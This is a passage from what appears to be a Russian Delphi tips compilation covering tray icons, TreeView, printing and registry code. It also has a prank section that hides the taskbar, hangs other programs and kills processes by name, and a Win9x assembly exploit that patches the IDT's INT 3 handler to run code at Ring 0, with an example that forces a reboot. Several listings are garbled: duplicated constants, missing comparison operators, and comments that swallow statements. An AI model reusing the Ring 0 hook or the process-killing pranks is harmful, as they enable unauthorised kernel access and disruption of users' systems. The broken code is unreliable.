begin
  FillDataStructure;
  if fActive then
    result := Shell_NotifyIcon(NIM_MODIFY, @IconData)
  else
    result := True;
end;
procedure TTrayIcon.DoRightClick(Sender: TObject);
var
  MouseCo: Tpoint;
begin
  GetCursorPos(MouseCo);
  if assigned(fPopupMenu) then
  begin
    SetForegroundWindow(Application.Handle);
    Application.ProcessMessages;
    fPopupmenu.Popup(Mouseco.X, Mouseco.Y);
  end;
  if assigned(FOnRightClick) then
  begin
    FOnRightClick(self, mbRight, [], MouseCo.x, MouseCo.y);
  end;
end;
function TTrayIcon.DeleteIcon: boolean;
begin
  result := Shell_NotifyIcon(NIM_DELETE, @IconData);
end;
procedure TTrayIcon.WndProc(var msg: TMessage);
begin
  with msg do
    if (msg = WM_RESETTOOLTIP) then
      SetToolTip(fToolTip)
    else if (msg = WM_TOOLTRAYICON) then
    begin
      case lParam of
        WM_LBUTTONDBLCLK: if assigned(FOnDblClick) then
            FOnDblClick(self);
        WM_LBUTTONUP: if assigned(FOnClick) then
            FOnClick(self);
        WM_RBUTTONUP: DoRightClick(self);
      end;
    end
    else // Обработка всех сообщений с дескриптором по умолчанию
      Result := DefWindowProc(FWindowHandle, Msg, wParam, lParam);
end;
procedure Register;
begin
  RegisterComponents('Win95', [TTrayIcon]);
end;
end.

Использование подсказки в Tray в виде шара.

Статьи по Delphi (017)…

{ 
  Use the AddSysTrayIcon procedure to add icon to notification area 
  (in FormCreate, for example), and use the ShowBalloonTips procedure 
  when ever you want(of cause must after you called AddSysTrayIcon procedure), 
  and finally call DeleteSysTrayIcon procedure to remove icon from 
  notification area after your using. 
  Add propriety code to the callback message handler. 
  The new feature require IE5 or later. 
} 
unit Unit1; 
interface 
uses 
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs; 
{new constant definitions} 
const 
  NIF_INFO = $10; 
  NIF_MESSAGE = 1; 
  NIF_ICON = 2; 
  NOTIFYICON_VERSION = 3; 
  NIF_TIP = 4; 
  NIM_SETVERSION = $00000004; 
  NIM_SETFOCUS = $00000003; 
  NIIF_INFO = $00000001; 
  NIIF_WARNING = $00000002; 
  NIIF_ERROR = $00000003; 
  NIN_BALLOONSHOW = WM_USER + 2; 
  NIN_BALLOONHIDE = WM_USER + 3; 
  NIN_BALLOONTIMEOUT = WM_USER + 4; 
  NIN_BALLOONUSERCLICK = WM_USER + 5; 
  NIN_SELECT = WM_USER + 0; 
  NINF_KEY = $1; 
  NIN_KEYSELECT = NIN_SELECT or NINF_KEY; 
   
  NIN_BALLOONSHOW = WM_USER + 2; 
  NIN_BALLOONHIDE = WM_USER + 3; 
  NIN_BALLOONTIMEOUT = WM_USER + 4; 
  NIN_BALLOONUSERCLICK = WM_USER + 5; 
  NIN_SELECT = WM_USER + 0; 
  NINF_KEY = $1; 
  NIN_KEYSELECT = NIN_SELECT or NINF_KEY; 
  {other constants can be found in vs.net---vc7's dir: PlatformSDK\Include\ShellAPI.h} 
  {define the callback message} 
  TRAY_CALLBACK = WM_USER + $7258; 
  {new NotifyIconData structure definition} 
type 
  PNewNotifyIconData = ^TNewNotifyIconData; 
  TDUMMYUNIONNAME    = record 
    case Integer of 
      0: (uTimeout: UINT); 
      1: (uVersion: UINT); 
  end; 
  TNewNotifyIconData = record 
    cbSize: DWORD; 
    Wnd: HWND; 
    uID: UINT; 
    uFlags: UINT; 
    uCallbackMessage: UINT; 
    hIcon: HICON; 
   //Version 5.0 is 128 chars, old ver is 64 chars 
    szTip: array [0..127] of Char; 
    dwState: DWORD; //Version 5.0 
    dwStateMask: DWORD; //Version 5.0 
    szInfo: array [0..255] of Char; //Version 5.0 
    DUMMYUNIONNAME: TDUMMYUNIONNAME; 
    szInfoTitle: array [0..63] of Char; //Version 5.0 
    dwInfoFlags: DWORD;   //Version 5.0 
  end; 
type 
  TForm1 = class(TForm) 
    procedure FormCreate(Sender: TObject); 
    procedure FormDestroy(Sender: TObject); 
  private 
    IconData: TNewNotifyIconData; 
    procedure SysTrayIconMsgHandler(var Msg: TMessage); message TRAY_CALLBACK; 
    procedure AddSysTrayIcon; 
    procedure ShowBalloonTips; 
    procedure DeleteSysTrayIcon; 
  public 
  end; 
var 
  Form1: TForm1; 
implementation 
{$R *.DFM} 
uses 
  ShellAPI; 
procedure TForm1.SysTrayIconMsgHandler(var Msg: TMessage); 
begin 
  case Msg.lParam of 
    WM_MOUSEMOVE:; 
    WM_LBUTTONDOWN:; 
    WM_LBUTTONUP:; 
    WM_LBUTTONDBLCLK:; 
    WM_RBUTTONDOWN:; 
    WM_RBUTTONUP:; 
    WM_RBUTTONDBLCLK:; 
    //followed by the new messages 
    NIN_BALLOONSHOW: 
    {Sent when the balloon is shown} 
      ShowMessage('NIN_BALLOONSHOW'); 
    NIN_BALLOONHIDE: 
    {Sent when the balloon disappears?Rwhen the icon is deleted, 
    for example. This message is not sent if the balloon is dismissed because of 
    a timeout or mouse click by the user. } 
      ShowMessage('NIN_BALLOONHIDE'); 
    NIN_BALLOONTIMEOUT: 
    {Sent when the balloon is dismissed because of a timeout.} 
      ShowMessage('NIN_BALLOONTIMEOUT'); 
    NIN_BALLOONUSERCLICK: 
    {Sent when the balloon is dismissed because the user clicked the mouse. 
    Note: in XP there's Close button on he balloon tips, when click the button, 
    send NIN_BALLOONTIMEOUT message actually.} 
      ShowMessage('NIN_BALLOONUSERCLICK'); 
  end; 
end; 
  {AddSysTrayIcon procedure add an icon to notification area} 
procedure TForm1.AddSysTrayIcon; 
begin 
  IconData.cbSize := SizeOf(IconData); 
  IconData.Wnd := AllocateHWnd(SysTrayIconMsgHandler); 
  {SysTrayIconMsgHandler is then callback message' handler} 
  IconData.uID := 0; 
  IconData.uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP; 
  IconData.uCallbackMessage := TRAY_CALLBACK;   //user defined callback message 
  IconData.hIcon := Application.Icon.Handle;    //an Icon's Handle 
  IconData.szTip := 'Please send me email.'; 
  if not Shell_NotifyIcon(NIM_ADD, @IconData) then 
    ShowMessage('add fail'); 
end; 
{ShowBalloonTips procedure carry out the new feature: Balloon Tips} 
procedure TForm1.ShowBalloonTips; 
var 
  TipInfo, TipTitle: string; 
begin 
  IconData.cbSize := SizeOf(IconData); 
  IconData.uFlags := NIF_INFO; 
  TipInfo := 'Please send me email.'; 
  strPLCopy(IconData.szInfo, TipInfo, SizeOf(IconData.szInfo) - 1); 
  IconData.DUMMYUNIONNAME.uTimeout := 3000; 
  TipTitle := 'Happyjoe@21cn.com'; 
  strPLCopy(IconData.szInfoTitle, TipTitle, SizeOf(IconData.szInfoTitle) - 1); 
  IconData.dwInfoFlags := NIIF_INFO;     //NIIF_ERROR;  //NIIF_WARNING; 
  Shell_NotifyIcon(NIM_MODIFY, @IconData); 
  {in my testing, the following code has no use} 
  IconData.DUMMYUNIONNAME.uVersion := NOTIFYICON_VERSION; 
  if not Shell_NotifyIcon(NIM_SETVERSION, @IconData) then 
    ShowMessage('setversion fail'); 
end; 
{here's the deletion procedure} 
procedure TForm1.DeleteSysTrayIcon; 
begin 
  DeallocateHWnd(IconData.Wnd); 
  if not Shell_NotifyIcon(NIM_DELETE, @IconData) then 
    ShowMessage('delete fail'); 
end; 
procedure TForm1.FormCreate(Sender: TObject); 
begin 
  AddSysTrayIcon; 
  ShowBalloonTips; 
end; 
procedure TForm1.FormDestroy(Sender: TObject); 
begin 
  DeleteSysTrayIcon; 
end; 
end.

Иконка на TrayBar - пример.

unit shellUnit;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Menus;
const
  WM_MYICONNOTIFY = WM_USER + 123;
type
  TForm1 = class(TForm)
    PopupMenu1: TPopupMenu;
    RestoreItem: TMenuItem;
    N1: TMenuItem;
    FileExitItem1: TMenuItem;
    HideItem: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure RestoreItemClick(Sender: TObject);
    procedure HideItemClick(Sender: TObject);
    procedure FileExitItem1Click(Sender: TObject);
  private
    { Private declarations }
    ShownOnce: Boolean;
  public
    { Public declarations }
    procedure WMICON(var msg: TMessage); message WM_MYICONNOTIFY;
    procedure WMSYSCOMMAND(var msg: TMessage); message WM_SYSCOMMAND;
    procedure RestoreMainForm;
    procedure HideMainForm;
    procedure CreateTrayIcon(n: Integer);
    procedure DeleteTrayIcon(n: Integer);
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
uses ShellApi, shlobj, registry;
procedure TForm1.WMICON(var msg: TMessage);
var
  P: TPoint;
begin
  case msg.LParam of // обработка обратных сообщений
    WM_LBUTTONUP: //по нажатию левой клавиши, WM_RBUTTONUP по правой
      begin
        GetCursorPos(p);
        SetForegroundWindow(Application.MainForm.Handle);
        PopupMenu1.Popup(P.X, P.Y);
      end;
    WM_LBUTTONDBLCLK: RestoreItemClick(Self); //как Default
  end;
end;
procedure TForm1.WMSYSCOMMAND(var msg: TMessage);
begin
  inherited; //обработка минимизирвания окна, не сворачевается а скрывается
  if (Msg.wParam = SC_MINIMIZE) then
    HideItemClick(Self);
end;
procedure TForm1.HideMainForm;
begin
  //при сокрытии окна
  Application.ShowMainForm := False;
  ShowWindow(Application.Handle, SW_HIDE);
  ShowWindow(Application.MainForm.Handle, SW_HIDE);
end;
procedure TForm1.RestoreMainForm;
var
  i, j: Integer;
begin
  Application.ShowMainForm := True;
  ShowWindow(Application.Handle, SW_RESTORE);
  ShowWindow(Application.MainForm.Handle, SW_RESTORE);
  if not ShownOnce then
  begin
    for I := 0 to Application.MainForm.ComponentCount - 1 do
      if Application.MainForm.Components[I] is TWinControl then
        with Application.MainForm.Components[I] as TWinControl do
          if Visible then
          begin
            ShowWindow(Handle, SW_SHOWDEFAULT);
            for J := 0 to ComponentCount - 1 do
              if Components[J] is TWinControl then
                ShowWindow((Components[J] as TWinControl).Handle,
                  SW_SHOWDEFAULT);
          end;
    ShownOnce := True;
  end;
end;
procedure TForm1.CreateTrayIcon(n: Integer);
var
  nidata: TNotifyIconData;
begin
  with nidata do
  begin
    cbSize := SizeOf(TNotifyIconData);
    Wnd := Self.Handle; //HWND вашего окна (окна принимающего обратные сообщения)
    uID := 1; // номер значка
    uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP; //обрабатываемые флаги
    uCallBackMessage := WM_MYICONNOTIFY;
    hIcon := Application.Icon.Handle;
      // то откуда сдергивается значек это может быть и ImageList и т.д.
    StrPCopy(szTip, Application.Title);
      // всплывающая строка, может быть любой string главное с нулевым окончанием
  end;
  Shell_NotifyIcon(NIM_ADD, @nidata); // добавление значка
end;
procedure TForm1.DeleteTrayIcon(n: Integer);
var
  nidata: TNotifyIconData;
begin
  with nidata do
  begin
    cbSize := SizeOf(TNotifyIconData);
    Wnd := Self.Handle;
    uID := 1;
  end;
  Shell_NotifyIcon(NIM_DELETE, @nidata); // удаление значка
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  ShownOnce := False;
  CreateTrayIcon(1);
  HideItem.Enabled := False;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
  DeleteTrayIcon(1);
end;
procedure TForm1.RestoreItemClick(Sender: TObject);
begin
  RestoreMainForm;
  //если убрать ремарку то при показывании основного окна значек исчезает
  //DeleteTrayIcon(1);
  RestoreItem.Enabled := False;
  HideItem.Enabled := True;
end;
procedure TForm1.HideItemClick(Sender: TObject);
begin
  HideMainForm;
  CreateTrayIcon(1);
  HideItem.Enabled := False;
  RestoreItem.Enabled := True;
end;
procedure TForm1.FileExitItem1Click(Sender: TObject);
begin
  Close;
end;
end.
{Также есть еще такая фигня Shell_NotifyIcon(NIM_Modify, @nidata) позволяет
менять уже установленный значек, не прибегая к его убиванию и построению заново}

Издевательства над System Tray.

Оформил: DeeCo

Тема сегодняшнего издевательства - System Tray ;)). Попробуем задизейблить его! Находим окно отвечающее за таскбар и делаем ему Hide. Главное - это знать класс окна, которое ищем, он естественно нигде не описан, но я его случайно узнал! ;-). В дельфи это выглялит так:

procedure TForm1.HideButtonClick(Sender: TObject); {прячем
таскбар} var
  H: Integer;
begin
  H := FindWindow('Shell_TrayWnd',
    nil); {находим хандл окна таскбара}
  if (H = 0) then
    Application.MessageBox('Window not found', nil, IDOK) {а вдруг не нашли ?!
    8-)}
  else
    ShowWindow(H, SW_HIDE); {делаем его
  невидимым}
end;
procedure TForm1.ShowButtonClick(Sender:
  TObject); {показываем таскбар}
var
  H: Integer;
begin
  H := FindWindow('Shell_TrayWnd',
    nil); {находим хандл окна таскбара}
  if (H = 0) then
    Application.MessageBox('Window not found', nil, IDOK) {а вдруг не нашли ?!
    8-)}
  else
    ShowWindow(H,
      SW_SHOW); {делаем его видимым}
end;
Есть предложение продолжить тему трея... Теперь обсудим, как снять приложения, сидящие в трее.
procedure TForm3.Button1Click(Sender:
  TObject);
var
  hWnd:
  THandle;
  R: TRect;
  I:
  Integer;
begin
  hWnd := FindWindow(
    'Shell_TrayWnd', nil);
  hWnd := FindWindowEx(hWnd,
    0, 'TrayNotifyWnd', nil);
  GetWindowRect(hWnd, R
    );
  for I := 1 to R.Right - R.Left do
    SendMessage(hWnd,
      WM_MOUSEMOVE, 0, I + (R.Bottom - R.Top) div 2 shl 16);
end;
Убирает с таскбара иконки всех снятых приложений.

Теперь, побалуемся с кнопкой ПУСК...

uses TypInfo;
var
  hTaskBar, hButton:
  HWND;
begin
  hTaskBar :=
    FindWindow('Shell_TrayWnd', nil);
  hButton :=
    GetWindow(hTaskBar, GW_CHILD); // Нажать кнопку
  "Пуск" SendMessage(hButton, WM_LBUTTONDOWN,
    MK_LBUTTON, LoWord(5) + HiWord(Screen.Height - 20)); //
  Убрать кнопку "Пуск" ShowWindow(hButton,
    SW_HIDE); // Показать кнопку
  "Пуск" ShowWindow(hButton, SW_NORMAL);
end.

Пора и завесить что нибудь ;)). Вот кусок кода, который завешивает проги, как нефиг делать! (Только с OpenFile Dialog).

procedure TForm1.Button1Click(Sender:
  TObject);
var
  hWnd, hList:
  THandle;
begin
  hWnd := FindWindow(PChar(32770),
    nil); // 32770 - ID диалога FileOpen (Win95 OSR2)
  // потенциально у других (98, NT) может быть другим
  // тогда надо подставить корректный - look in
  WinSight32 hList := FindWindowEx(hWnd, 0,
    'COMBOBOX', nil);
  SendMessage(hList,
    CB_SETITEMDATA, 0, 1);
  SendMessage(hList,
    CB_SHOWDROPDOWN, 1, 0);
end;

Попробуем теперь убить приложения, зная имя его exe ;)).

uses tlhelp32;
function KillTask(FileName: string): integer; //0 - прибить не получилось
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
const
  PROCESS_TERMINATE = $0001;
begin
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
  while integer(ContinueLoop) <> 0 do
  begin
    if
      ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
      UpperCase(FileName))
      or (UpperCase(FProcessEntry32.szExeFile) = UpperCase(FileName))) then
      Result := Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE, BOOL(0),
        FProcessEntry32.th32ProcessID), 0));
    ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;

Надоело работать в Ring3? Ну тогда, welcome в Ring0. Правда только под мастдаем (Win9x), но, тоже приятно ;)).

.386p .model flat .data db 0 .code open_RING0_function: pushad call init_open_RING0_function init_open_RING0_function: pop ebp sub ebp,offset (init_open_RING0_function-open_RING0_function) sub esp,4 sidt fword ptr [esp-02] ;Линейный адресс IDT pop ebx add ebx,3*8h cli ;Берем старый обработчик прерывания INT 3 mov edi,[ebx+4] mov di,[ebx] ;Наш обработчик INT 3 lea esi,[ebp+obr_INT3-open_RING0_function] mov [ebx],si ;Первая половина смещения обработчика INT3 shr esi,10h mov [ebx+06],si ;Вторая половина смещения обработчика INT3 ;Вход: EDI - старый обработчик ; EBX - линейный адресс дескриптора INT 3 mov ax,01h int 3h popad retn ;---------------------------------------------------------------------------- ;Текущие функции: ;AX = 1 - Инициализация RING0_function ;Вход: EDI - старый обработчик ; EBX - линейный адресс дескриптора INT 3 ;AX = 2 - Убрать обработчик функций RING3 (при выходе) ;AX = 3 - Выполнить подпрограмму как задачу RING 0 ;Вход: EDI - смещение подпрограммы obr_INT3: push ebp call init_obr_INT3 init_obr_INT3: pop ebp sub ebp,offset (init_obr_INT3-obr_INT3) ;Сдесь можно определить свои функции RING0 cmp ax,01h ;Инициализация функций RING0 (не использовать) jz init_RING0_function cmp ax,02h ;Remove RING 0 функций jz remove_RING0_function cmp ax,03h jz call_RING0 function_complite: pop ebp function_complite_without_popebp: iretd init_RING0_function: mov dword ptr [ebp+old_IN3_base_addr-obr_INT3],edi mov dword ptr [ebp+IDT_base_addr-obr_INT3],ebx jmp function_complite remove_RING0_function: push ebx esi mov ebx,dword ptr [ebp+IDT_base_addr-obr_INT3] mov esi,dword ptr [ebp+old_IN3_base_addr-obr_INT3] mov [ebx],si shr esi,10h mov [ebx+06],si pop esi ebx jmp function_complite call_RING0: pop ebp call edi jmp function_complite_without_popebp old_IN3_base_addr dd 0 IDT_base_addr dd 0 END.

А вот и примерчик использования:

.386p .model flat .data db 0 .code start: ;Сдесь Windows 95/98 дала нам CPL=3 call open_RING0_function ;Запускаем процедуру с превелегиями RING0 mov ax,3 mov edi,offset rst32_ring0 int 3h ;---------------------------------------------------------------------------- rst32_ring0: cli mov al,0feh out 64h,al hlt ;---------------------------------------------------------------------------- ;Функции RING0 include ring0_32.asm ;---------------------------------------------------------------------------- end start.

Ну, теперь уже лучше? ;)).

Приложение не убирает всплывающее меню после потери фокуса.

Автор: Олег Кулабухов
- Кто самый сексуальный мужчина в мире? - Билл Гейтс - его хотят отыметь все.

Во время обработки сообщений PopUp меню, вы должны назначить активное окно, а потом после всплывания меню послать сообщение WM_NULL.

procedure TForm1.WndProc(var Msg: TMessage);
var
  p: TPoint;
begin
  case Msg.Msg of
    WM_USER + 1:
      case Msg.lParam of
        WM_RBUTTONDOWN:
          begin
            SetForegroundWindow(Handle);
            GetCursorPos(p);
            PopupMenu1.Popup(p.x, p.y);
            PostMessage(Handle, WM_NULL, 0, 0);
          end;
      end;
  end;
  inherited;
end;

Прокрутка TreeView, чтобы держать выделение посередине.

 procedure TMyForm.TreeChange(Sender: TObject; Node: TTreeNode);
 var
   i : integer;
   pp, cp : TTreeNode;
 begin
   if Assigned(Tree.Selected) then
     begin
       cp := Tree.Selected;
       pp := cp;
       for i := 1 to Round(Tree.Height/30) do
         if cp <> nil then
           begin
             pp := cp;
             cp := cp.GetPrevVisible;
           end;
       Tree.TopItem := pp;
     end;
 end;

Получение доступа к узлам TreeView.

Автор: Peter Kane Небольшие хитрости для работы с узлами TreeView:

Если вы хотите производить поиск по дереву, может быть для того, чтобы найти узел, соответствующий определенному критерию, то НЕ ДЕЛАЙТЕ ЭТО ТАКИМ ОБРАЗОМ:

for i := 0 to pred(MyTreeView.Items.Count) do
begin
  if MyTreeView.Items[i].Text = 'Банзай' then
    break;
end;
...если вам не дорого время обработки массива узлов.

Значительно быстрее будет так:

Noddy := MyTreeView.Items[0];
Searching := true;
while (Searching) and (Noddy <> nil) do
begin
  if Noddy.text = SearchTarget then
  begin
    Searching := False;
    MyTreeView.Selected := Noddy;
    MyTreeView.SetFocus;
  end
  else
  begin
    Noddy := Noddy.GetNext
  end;
end;
В моей системе приведенный выше код показал скорость 33 милисекунды при работе с деревом, имеющим 171 узел. Первый поиск потребовал 2.15 секунд. Оказывается, процесс индексирования очень медленный. Я подозреваю, что при каждой индексации свойства Items, вы осуществляете линейный поиск, но это нигде не засвидетельствовано, поэтому я могу ошибаться. Вам действительно не нужно просматривать все дерево, чтобы найти что вам нужно - получить таким образом доступ к MyTreeView.Items[170] займет много больше времени, чем получения доступа к MyTreeView.Items[1]. Как правило, для отслеживания позиции в дереве TreeView, нужно использовать временную переменную TTreeNode, а не использовать целочисленные индексы. Возможно, свойство ItemId как раз и необходимо для такого применения, но, к сожалению, я никак не могу понять абзац в электронной документации, касающийся данного свойства:
 
    "Свойство ItemId является дескриптором TTreeNode типа HTreeItem  
    и однозначно идентифицирует каждый элемент дерева. Используйте
    это свойство, если вам необходимо получить доступ к элементам
    дерева из внешнего по отношению к TreeView элемента управления."

"Я разговаривал с деревьями...вот почему они ушли от меня...." (Spike Milligan)..

Как связать TreeView и PageControl.

Автор: Vit WEB-сайт: http://forum.vingrad.ru

На форме стоит TreeView, PageControl и кнопка. При смене страницы - меняется текущий узел, а при смене узла меняется страница.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ComCtrls;
type
  TForm1 = class(TForm)
    TreeView1: TTreeView;
    Button1: TButton;
    PageControl1: TPageControl;
    procedure Button1Click(Sender: TObject);
    procedure TreeView1Change(Sender: TObject; Node: TTreeNode);
    procedure PageControl1Change(Sender: TObject);
  private
    procedure addItem(t: string);
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.addItem(t: string);
var
  TabSheet: TTabSheet;
  Node: TTreenode;
begin
  TabSheet := TTabSheet.Create(Self);
  TabSheet.PageControl := PageControl1;
  TabSheet.caption := t;
  Node := TreeView1.Items.Add(nil, t);
  Node.data := TabSheet; //ассоциируем узел с страницей
  TabSheet.tag := Integer(Node); // ассоциируем страницу с узлом
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  TreeView1.HideSelection := false;
  addItem('Item1');
  addItem('Item2');
  addItem('Item3');
  addItem('Item4');
end;
procedure TForm1.TreeView1Change(Sender: TObject; Node: TTreeNode);
begin
  PageControl1.ActivePage := TTabSheet(Node.data);
    // Доступ к ассоциированной странице через узел
end;
procedure TForm1.PageControl1Change(Sender: TObject);
begin
  TreeView1.Selected := TTreeNode(Pointer(PageControl1.ActivePage.tag));
    // Доступ к ассоциированному узлу через страницу
end;
end.

Поместить список контролов и пунктов меню в TTreeView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

Статьи по Delphi (017)…
uses
   ComCtrls, Menus, Classes, Forms, Controls, Windows, Messages;
 function GetControlCaption(Control: TWinControl): ShortString;
   //  Slightly modified version of Twister's Tip 
  // 
  //  function GetCaptionAtPoint(pt: TPoint): string; 
  // 
var
   TextLength: Integer;
   Text: PChar;
 begin
   if not Boolean(Control.Handle) then Exit;
   Result := Control.Name;  //  if Control doesn't have Caption 
  //  Control.Name is returned 
  TextLength := SendMessage(Control.Handle, WM_GETTEXTLENGTH, 0, 0);
   if TextLength  0 then
   begin
     GetMem(Text, TextLength + 1);
     SendMessage(Control.Handle, WM_GETTEXT, TextLength + 1, Integer(Text));
     Result := Text;
     FreeMem(Text);
   end;
 end;
 //  function GetCaptionAtPoint(pt: TPoint): ShortString; 
//  begin 
//    Result:= GetControlCaption(FindVCLWindow(pt)); 
//  end; 
procedure FindAllMenuItems(AppTree: TTreeView; MenuItem: TMenuItem; Parent: TTreeNode);
 var
   loop: Integer;
   Node: TTreeNode;
   mItem: TMenuItem;
   Name: ShortString;
 begin
   for loop := 0 to MenuItem.Count - 1 do
   begin
     mItem := MenuItem.Items[loop];
     Name  := mItem.Caption;
     Node  := AppTree.Items.AddChildObject(Parent, Name, mItem);
     if mItem.Count  0 then findAllMenuItems(AppTree, mItem, Node);
   end;
 end;
 procedure FindAllControls(AppTree: TTreeView; Comp: TComponent; Parent: TTreeNode);
 var
   Child: TComponent;
   loop, start, Index: Integer;
   Name: ShortString;
   Node, Mnode: TTreeNode;
 begin
   start := 0;
   if Comp is TApplication then
   begin
     // Parent:= AppTree.Items.AddObjectFirst(Parent, 'Application', nil); 
    //  if you want to see the root ('Application') uncomment 
    start := 1;
   end;
   for loop := start to Comp.ComponentCount - 1 do
   begin
     Child := Comp.Components[loop];
     Name  := Child.Name;
     if Child is TControl then
     begin
       if Child is TWinControl then
       begin  //  does Child have Caption property?? 
        Name := GetControlCaption(TWinControl(Child));
       end;
       Node := AppTree.Items.AddChildObject(Parent, Name, Child);
       if Child.ComponentCount  0 then FindAllControls(AppTree, Child, Node);
     end;
     if Child is TMenu then
     begin
       Node := AppTree.Items.AddChildObject(Parent, Name, Child);
       for Index := 0 to TMenu(Child).Items.Count - 1 do
       begin
         Mnode := AppTree.Items.AddChildObject(Node, TMenu(Child).Items[Index].Caption,
           TMenu(Child).Items[Index]);
         FindAllMenuItems(AppTree, TMenu(Child).Items[Index], Mnode);
       end;
     end;
   end;
 end;

Изменить RootKey для TRegIniFile.

Оформил: DeeCo

uses Registry;
procedure TForm1.Button1Click(Sender: TObject);
var
  WinIni: TRegIniFile;
begin
  WinIni := TRegIniFile.Create('');
  WinIni.RootKey := HKEY_LOCAL_MACHINE;
  WinIni.WriteString('Frank', 'Borland', 'Writes Fast Code!');
  WinIni.Free;
end;

Хитрости печати.

Все просто. Если знать как. Приведу небольшой код, позволяющий стать гуру в области печати. Надеюсь. Смотрите на комментарии. Все очень просто.

const
  INCHES_PER_MILIMETER: Real = 0.04;
type
  TOffset = record
    X, Y: Integer;
  end;
var
  FDeviceName: string; {Имя устройства}
  FPageHeightPixel, FPageWidthPixel: Integer; {Высота и ширина страницы}
  FOrientation: TPrinterOrientation; {Ориентация}
  FPrintOffsetPixels: TOffset;
  FPixelsPerMMX, FPixelsPerMMY: Real;
  MMSize, FPageHeightMM: Integer;
  TheReport, TheHead, HeadLine, RecordLine, TFname, TLname: string;
procedure TMissing_Rep.GetDeviceSettings;
var
  retval: integer;
  PixX, PixY: Integer;
begin
  FDeviceName := Printer.Printers[Printer.PrinterIndex]; {Получаем имя}
  FPageHeightPixel := Printer.PageHeight; {Получаем высоту страницы}
  FPageWidthPixel := Printer.PageWidth; {Получаем ширину страницы}
  FOrientation := Printer.Orientation;
  {Ориентация}
  {Получаем отступ при печати (поля страницы)}
{$IFDEF WIN32}
  FPrintOffsetPixels.X := GetDeviceCaps(Printer.Handle, PHYSICALOFFSETX);
  FPrintOffsetPixels.Y := GetDeviceCaps(Printer.Handle, PHYSICALOFFSETY);
{$ELSE}
  retval := Escape(Printer.Handle, GETPRINTINGOFFSET,
    0, nil, @FPrintOffsetPixels);
{$ENDIF}
  {Получаем количество пикселей, печатаемое на миллиметре бумаги}
  PixX := GetDeviceCaps(Printer.Handle, LOGPIXELSX);
  PixY := GetDeviceCaps(Printer.Handle, LOGPIXELSY);
  FPixelsPerMMX := INCHES_PER_MILIMETER * PixX;
  FPixelsPerMMY := INCHES_PER_MILIMETER * PixY;
  FPageHeightMM := Round(FPageHeightPixel / FPixelsPerMMY);
end;
function TMissing_Rep.PutText(mmX, mmY: Integer; S: string; LeftAlign:
  Boolean): boolean;
var
  X, Y: Integer;
  align: WORD;
begin
  if LeftAlign then
    align := SetTextAlign(Printer.Handle, TA_BOTTOM or TA_LEFT)
  else
    align := SetTextAlign(Printer.Handle, TA_BOTTOM or TA_RIGHT);
  result := FALSE; {Вначале присваиваем флаг неудачи при выполнении функции}
  X := Trunc(mmX * FPixelsPerMMX) - FPrintOffsetPixels.X;
  Y := Trunc(mmY * FPixelsPerMMY) - FPrintOffsetPixels.Y;
  if X < 0 then
    exit;
  if Y < 0 then
    exit;
  Printer.Canvas.TextOut(X, Y, S);
  result := TRUE;
end;
procedure TMissing_Rep.Print_ButClick(Sender: TObject);
var
  PixelSize: Integer;
begin
  Print_But.Enabled := False;
  if PrintDialog1.Execute then
  begin
    Printer.Canvas.Font := Missing_Rep.Font;
    PixelSize := Printer.Canvas.TextHeight('Yy');
    MMSize := Round(PixelSize / FPixelsPerMMY);
    Printer.Title := 'Отчет';
    Printer.BeginDoc; { начинаем пересылать задание на печать }
    PrintGenerator;
    Printer.EndDoc; { EndDoc заканчивает задание печати }
  end;
  Print_But.Enabled := True;
end;
procedure TMissing_Rep.PrintGenerator;
var
  yLoc, NumRows, TheRow: Integer;
  procedure Heading;
  begin
    yLoc := 20;
    PutText(20, 20, TheHead, TRUE);
    yLoc := yLoc + MMSize;
    PutText(20, yLoc, StringGrid1.Cells[0, 0], TRUE);
    PutText(60, yLoc, StringGrid1.Cells[1, 0], TRUE);
    PutText(100, yLoc, StringGrid1.Cells[2, 0], TRUE);
    PutText(120, yLoc, StringGrid1.Cells[3, 0], TRUE);
    PutText(150, yLoc, StringGrid1.Cells[4, 0], TRUE);
    yLoc := yLoc + MMSize;
  end;
  procedure Footer;
  begin
    PutText(100, FPageHeightMM, InttoStr(Printer.PageNumber), TRUE);
  end;
begin
  Heading;
  TheRow := 1;
  while (TheRow < StringGrid1.RowCount) do
  begin
    if (yLoc > (FPageHeightMM - MMSize)) then
    begin
      Footer;
      Printer.NewPage;
      Heading;
    end;
    TheGauge.Progress := Round(100 * TheRow / (StringGrid1.RowCount - 1));
    PutText(20, yLoc, StringGrid1.Cells[0, TheRow], TRUE);
    PutText(60, yLoc, StringGrid1.Cells[1, TheRow], TRUE);
    PutText(100, yLoc, StringGrid1.Cells[2, TheRow], TRUE);
    PutText(120, yLoc, StringGrid1.Cells[3, TheRow], TRUE);
    PutText(150, yLoc, StringGrid1.Cells[4, TheRow], TRUE);
    yLoc := yLoc + MMSize;
    TheRow := TheRow + 1;
  end;
  Footer;
end;

Как сделать откат внутри триггера.

Внутри триггера нельзя управлять транзакциями, поэтому генерируешь там исключение а откат транзакции делаешь в приложении, пославшем запрос. Естественно exception должен предварительно создан.

SET TERM !!;
CREATE TRIGGER " DELETE_INV"  FOR " TINV"
    ACTIVE BEFORE DELETE
    POSITION 10
    AS
    BEGIN
